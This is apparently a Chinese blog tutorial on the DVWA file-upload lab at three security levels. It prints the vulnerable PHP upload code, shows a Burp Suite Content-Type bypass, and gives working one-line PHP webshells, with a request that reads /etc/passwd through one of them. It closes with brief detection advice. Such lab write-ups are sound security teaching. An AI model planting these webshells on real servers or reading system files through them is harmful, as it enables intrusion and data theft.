一、文件上傳漏洞 低、中、高三級別 詳解

文件上傳漏洞

項目實驗環境

OWASP Broken Web Apps VM v1.2 靶場
burpsuite 代理服務器
Kali-Linux-2020.1-vmware-amd64 攻擊機

實驗一(低安全級別)

思路: 可以上傳任意文件,沒有做任何的檢測,如果上傳的是惡意的木馬,就可以連接服務器,爆破,獲取webshell
在這裏插入圖片描述

 <?php
    if (isset($_POST['Upload'])) {

            $target_path = DVWA_WEB_PAGE_TO_ROOT."hackable/uploads/";
            $target_path = $target_path . basename( $_FILES['uploaded']['name']);

            if(!move_uploaded_file($_FILES['uploaded']['tmp_name'], $target_path)) {
                
                echo '<pre>';
                echo 'Your image was not uploaded.';
                echo '</pre>';
                
              } else {
            
                echo '<pre>';
                echo $target_path . ' succesfully uploaded!';
                echo '</pre>';
                
            }

        }
?> 

通過代碼也可以發現,只要存在上傳的文件對象就允許上傳,並沒有限制是否爲圖片文件

實驗二(中安全級別)

思路: 限制上傳的文件必須是是圖片類型,且限定了大小,圖片類型的限制用http中的請求類型,即MIME類型對請求頭進行限制,此實驗限制爲圖像類型

什麼是MIME?
MIME (Multipurpose Internet Mail Extensions)(多功能網際郵件擴充協議) 是描述消息內容類型的因特網標準,在HTTP中,MIME類型被定義在Content-TypeHeader中,每個MIME類型由兩部分組成,前面是數據的大類別,例如聲音audio、圖象image等,後面定義具體的種類。

常見的MIME類型(通用型):

超文本標記語言文本             .html            text/html
xml文檔                            .xml            text/xml
XHTML文檔                        xhtml         application/xhtml+xml
普通文本                          .txt              text/plain
RTF文本                              .rtf              application/rtf
PDF文檔                              .pdf          application/pdf
Microsoft Word文件             .doc             application/msword
PNG圖像                              .png          image/png
GIF圖形                              .gif              image/gif
JPEG圖形                          .jpeg,.jpg     image/jpeg
au聲音文件                        .au              audio/basic
MIDI音樂文件                  .mid,.midi     audio/midi,audio/x-midi
RealAudio音樂文件           .ra, .ram     audio/x-pn-realaudio
MPEG文件                           .mpg,.mpeg     video/mpeg
AVI文件                           .avi             video/x-msvideo
GZIP文件                           .gz             application/x-gzip
TAR文件                           .tar             application/x-tar
任意的二進制數據                           application/octet-stream

在這裏插入圖片描述

比如,打開淘寶網,可以看到高亮欄的content-type爲imag/png
在這裏插入圖片描述分析:
那麼,可以通過更改請求頭的這個信息,使其爲網頁需要的圖片的MIME類型即可

此時,使用burpsuite進行代理
思路:
在這裏插入圖片描述
步驟:
1.在Kali上打開burpsuite,代理的功能打開,並設置爲所有的接口
在這裏插入圖片描述2.將物理主機的代理功能打開,指向Kali
在這裏插入圖片描述3.打開瀏覽器訪問文件上傳的網頁,選擇一個文本文件,點擊上傳 ,此時kali就截到了 這個HTTP的請求信息
在這裏插入圖片描述4.更改content-type爲image/jpeg
在這裏插入圖片描述可見,不是圖片的文件就被上傳了,這樣就可以上傳一個惡意的一句話木馬,使用中國菜刀的軟件就可以進行連接,進行爬取數據,下面會做解釋
在這裏插入圖片描述
查看後臺的php代碼,限制的就是MIME類型,通過修改請求頭中的這個類型,就可以矇混過關

 <?php
    if (isset($_POST['Upload'])) {

            $target_path = DVWA_WEB_PAGE_TO_ROOT."hackable/uploads/";
            $target_path = $target_path . basename($_FILES['uploaded']['name']);
            $uploaded_name = $_FILES['uploaded']['name'];
            $uploaded_type = $_FILES['uploaded']['type'];
            $uploaded_size = $_FILES['uploaded']['size'];

            if (($uploaded_type == "image/jpeg") && ($uploaded_size < 100000)){


                if(!move_uploaded_file($_FILES['uploaded']['tmp_name'], $target_path)) {
                
                    echo '<pre>';
                    echo 'Your image was not uploaded.';
                    echo '</pre>';
                    
                  } else {
                
                    echo '<pre>';
                    echo $target_path . ' succesfully uploaded!';
                    echo '</pre>';
                    
                    }
            }
            else{
                echo '<pre>Your image was not uploaded.</pre>';
            }
        }
?> 

實驗三(高安全級別)

網站設計: 限制上傳文件的擴展名,必須是jpg、JPG、jpeg、JPEG 與圖片的大小,這時,修改MIME類型是沒有用的,因爲網頁的後端PHP語言限制的是文件的後綴名,如果直接更改文件的後綴名,會導致木馬程序失效(即不能使用)
查看後臺的php代碼

 <?php
if (isset($_POST['Upload'])) {

            $target_path = DVWA_WEB_PAGE_TO_ROOT."hackable/uploads/";
            $target_path = $target_path . basename($_LES['uploaded']['name']);
            $uploaded_name = $_FILES['uploaded']['name'];
            $uploaded_ext = substr($uploaded_name, strrpos($uploaded_name, '.') + 1);
            $uploaded_size = $_FILES['uploaded']['size'];

            if (($uploaded_ext == "jpg" || $uploaded_ext == "JPG" || $uploaded_ext == "jpeg" || $uploaded_ext == "JPEG") && ($uploaded_size < 100000)){


                if(!move_uploaded_file($_FILES['uploaded']['tmp_name'], $target_path)) {
                    
                    echo '<pre>';
                    echo 'Your image was not uploaded.';
                    echo '</pre>';
                
                  } else {
                
                    echo '<pre>';
                    echo $target_path . ' succesfully uploaded!';
                    echo '</pre>';
                    
                    }
            }           
            else{              
                echo '<pre>';
                echo 'Your image was not uploaded.';
                echo '</pre>';

            }
        }

?> 

webshell

小馬:一句話木馬也稱小馬,即整個shell代碼只有一行,一般是系統執行函數

大馬:代碼裏和功能都比小馬多,一般會進行二進制編碼加密碼,防止被安全防火牆/入侵系統檢測到

yichen.php 
<?php eval($_REQUEST['eichi']);?> 需要網頁的輸入式請求,單引號中寫的是請求的實,理解成變量名即可
root@owaspbwa:/var/www/dvwa/hackable/uploads# cat yichen.php 
<?php eval($_REQUEST['eichi']);?>
http://192.168.211.143/dvwa/hackable/uploads/yichen.php?eichi=phpinfo();

在這裏插入圖片描述

yichen1.php #eval 
<?php system($_REQUEST['eichi']);?> 調用系統的函數
root@owaspbwa:/var/www/dvwa/hackable/uploads# cat yichen1.php 
<?php system($_REQUEST['eichi']);?>
http://192.168.211.143/dvwa/hackable/uploads/yichen1.php?eichi=cat /etc/passwd

在這裏插入圖片描述可怕嗎 ?如果你覺得還行,那就請繼續看下去,還有更恐怖的~
使用頁面文件上傳頁面,上傳一個這樣的php代碼

<?php @eval($_POST['yichen']);?> 方括號內的是密碼
root@owaspbwa:/var/www/dvwa/hackable/uploads# cat shell.php 
<?php @eval($_POST['yichen']);?>
說明:request是在網頁端輸入變量訪問,POST是使用類似中國菜刀的工具進行連接,是C/S架構
http://192.168.211.143/dvwa/hackable/uploads/shell.php

網頁訪問,並沒有什麼內容,但是使用中國菜刀連接,就可以對這個網站進行爬取,獲取任意你需要的內容與數據
在這裏插入圖片描述在這裏插入圖片描述

總結:

1.實驗1沒有任何要求,不做贅述

2.實驗2限制了上傳文件的HTTP中MIME類型,根據使用代理服務器來更改請求頭中的MIME類型爲圖片類型

3.實驗3限制了上傳文件的後綴名,那就上傳一個圖片木馬,對於高安全級別的圖片木馬注入,請點擊這裏

解決:

使用過濾功能來查看惡意的木馬程序,使用防火牆,waf等工具

root@owaspbwa:~# fgrep -R 'eval($_POST[' /var/www/dvwa
/var/www/dvwa/hackable/uploads/shell.php:<?php @eval($_POST['yichen']);?>
/var/www/dvwa/vulnerabilities/fi/shell20.php:<?php eval($_POST[123]);?>
/var/www/dvwa/vulnerabilities/fi/shell999.php:<?php eval($_POST[123]);?>

CC攻擊與DDOS工具

CC是應用程序癱瘓,比如發送驗證碼的網頁癱瘓;DDOS網絡發起攻擊,增大網絡的負載

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章